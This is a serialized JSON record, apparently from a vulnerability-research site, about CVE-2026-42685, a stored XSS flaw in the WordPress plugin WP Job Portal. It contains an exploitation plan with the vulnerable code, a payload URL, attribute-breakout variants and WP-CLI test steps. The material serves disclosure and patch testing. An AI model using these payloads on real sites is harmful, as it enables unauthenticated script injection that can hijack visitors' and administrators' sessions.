[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSP1Yw6avg72M-OwJPRczZXe8RLSvztUSUw_GCE3zsjM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":35},"CVE-2026-42685","wp-job-portal-ai-powered-recruitment-system-for-company-or-job-board-website-unauthenticated-stored-cross-site-scripting","WP Job Portal – AI-Powered Recruitment System for Company or Job Board website \u003C= 2.5.1 - Unauthenticated Stored Cross-Site Scripting","The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wp-job-portal",null,"\u003C=2.5.1","2.5.2","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-23 00:00:00","2026-05-26 19:29:52",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F507f3071-3274-4d25-8ae2-53d909bd9daa?source=api-prod",4,[22,23,24,25,26,27],"includes\u002Factivation.php","modules\u002Fjob\u002Fmodel.php","modules\u002Fjobapply\u002Fmodel.php","modules\u002Fresume\u002Fmodel.php","readme.txt","wp-job-portal.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-42685 (WP Job Portal)\n\n## 1. Vulnerability Summary\nThe **WP Job Portal** plugin (\u003C= 2.5.1) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `WPJOBPORTALjobModel::setListStyleSession` function located in `modules\u002Fjob\u002Fmodel.php`. \n\nThis function is intended to save a user's preference for the job listing layout (e.g., \"grid\" vs \"list\"). However, it uses the global WordPress `update_option()` function instead of a session-based or user-meta storage. This allows any unauthenticated user to overwrite a site-wide configuration option. Furthermore, the input parameter `styleid` is retrieved via `WPJOBPORTALrequest::getVar()` and passed to `update_option()` without any sanitization or escaping, and the resulting value is rendered unescaped on the job listing page.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Frontend routing (typically handled via `init` or `template_redirect` hooks).\n- **Hook\u002FAction**: The plugin routes requests based on the URL parameters `wpjobportalme` (Module) and `wpjobportallt` (Layout\u002FTask).\n- **Vulnerable Parameters**: \n    - `wpjobportalme`: Must be set to `job`.\n    - `wpjobportallt`: Must be set to `setListStyleSession`.\n    - `styleid`: The malicious XSS payload.\n- **Authentication**: None required (Unauthenticated).\n- **Preconditions**: The `[wpjobportal_job]` shortcode must be present on a page (this is where the sink is triggered).\n\n## 3. Code Flow\n1. **Entry Point**: A request is made to `index.php?wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=\u003Cpayload>`.\n2. **Routing**: The plugin's core dispatcher identifies the module `job` and the task `setListStyleSession`.\n3. **Sink (Storage)**: `modules\u002Fjob\u002Fmodel.php` -> `WPJOBPORTALjobModel::setListStyleSession()`:\n   ```php\n   function setListStyleSession(){\n       $wpjobportal_listingstyle = WPJOBPORTALrequest::getVar('styleid'); \u002F\u002F [1] User input\n       if(wpjobportal::$wpjobportal_theme_chk == 1){\n           update_option( 'jsjb_jm_listing_style', $wpjobportal_listingstyle ); \u002F\u002F [2] Global storage\n       } else {\n           update_option( 'jsjb_jh_listing_style', $wpjobportal_listingstyle ); \u002F\u002F [2] Global storage\n       }\n       return $wpjobportal_listingstyle;\n   }\n   ```\n4. **Sink (Execution)**: When any user visits a page containing the `[wpjobportal_job]` shortcode, the plugin retrieves the option `jsjb_jh_listing_style` (or `jsjb_jm_listing_style`) and echoes it into the HTML class attribute of the job container without escaping, allowing for attribute breakout and script execution.\n\n## 4. Nonce Acquisition Strategy\nBased on the analysis of `modules\u002Fjob\u002Fmodel.php`, the `setListStyleSession` function **does not implement any nonce verification**. This is a common oversight for frontend layout-switching features.\n- **Nonce Action**: N\u002FA.\n- **Bypass**: Direct request to the endpoint is possible without a nonce.\n\n## 5. Exploitation Strategy\nThe goal is to inject a payload into the global `jsjb_jh_listing_style` option, which will then execute in the browser of any user (including the admin) visiting the job board.\n\n### Step 1: Inject Payload\nSend a request to the site to update the global option.\n- **Tool**: `http_request`\n- **Method**: `GET` (or `POST`)\n- **URL**: `http:\u002F\u002FTARGET_URL\u002Findex.php?wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=list-view\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n- **Note**: The payload starts with `list-view\">` to break out of the HTML class attribute where it is typically reflected.\n\n### Step 2: Trigger Execution\nNavigate to the page where the jobs are listed.\n- **Tool**: `browser_navigate`\n- **URL**: `http:\u002F\u002FTARGET_URL\u002Fjobs\u002F` (or wherever `[wpjobportal_job]` is placed).\n\n## 6. Test Data Setup\n1. **Create Job Page**:\n   ```bash\n   wp post create --post_type=page --post_title=\"Job Board\" --post_content=\"[wpjobportal_job]\" --post_status=\"publish\"\n   ```\n2. **Ensure Option Path**: By default, the plugin will update `jsjb_jh_listing_style`. Verify the theme check:\n   ```bash\n   wp option get template\n   # If result is not 'job-portal-theme', the sink will be 'jsjb_jh_listing_style'\n   ```\n3. **Create a Job**: (Optional, but ensures the job listing loop executes)\n   ```bash\n   # Use the plugin's internal table to insert a dummy job if the shortcode returns empty\n   wp db query \"INSERT INTO wp_wj_portal_jobs (title, status, startpublishing, stoppublishing) VALUES ('Security Researcher', 1, '2020-01-01', '2030-01-01')\"\n   ```\n\n## 7. Expected Results\n- The HTTP request to `setListStyleSession` should return a 200 OK or a redirect.\n- The site-wide option `jsjb_jh_listing_style` will now contain the malicious script.\n- When visiting the \"Job Board\" page, the browser will render the following (or similar) HTML:\n  `\u003Cdiv class=\"job-listing-container list-view\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"> ... \u003C\u002Fdiv>`\n- An alert box showing the document domain will appear.\n\n## 8. Verification Steps\nAfter performing the exploit via `http_request`, verify the storage using WP-CLI:\n```bash\nwp option get jsjb_jh_listing_style\n# Expected output: list-view\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n```\n\n## 9. Alternative Approaches\nIf the `styleid` is reflected inside a JavaScript block or a different HTML attribute, adjust the payload:\n- **Attribute Escape**: `list' onmouseover='alert(1)' data-foo='`\n- **JSON Breakout**: `\"];alert(1);\u002F\u002F` (if localized via `wp_localize_script`)\n\nIf the direct `index.php` request fails to route, attempt via the AJAX endpoint:\n- **URL**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Body**: `action=wpjobportal_ajax&wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=...` (The `action` name may vary based on the plugin's registration in `wp-job-portal.php`).","gemini-3-flash-preview","2026-06-04 21:39:29","2026-06-04 21:41:07",{"type":36,"vulnerable_version":37,"fixed_version":11,"vulnerable_browse":38,"vulnerable_zip":39,"fixed_browse":40,"fixed_zip":41,"all_tags":42},"plugin","2.5.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags\u002F2.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-job-portal.2.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags\u002F2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-job-portal.2.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags"]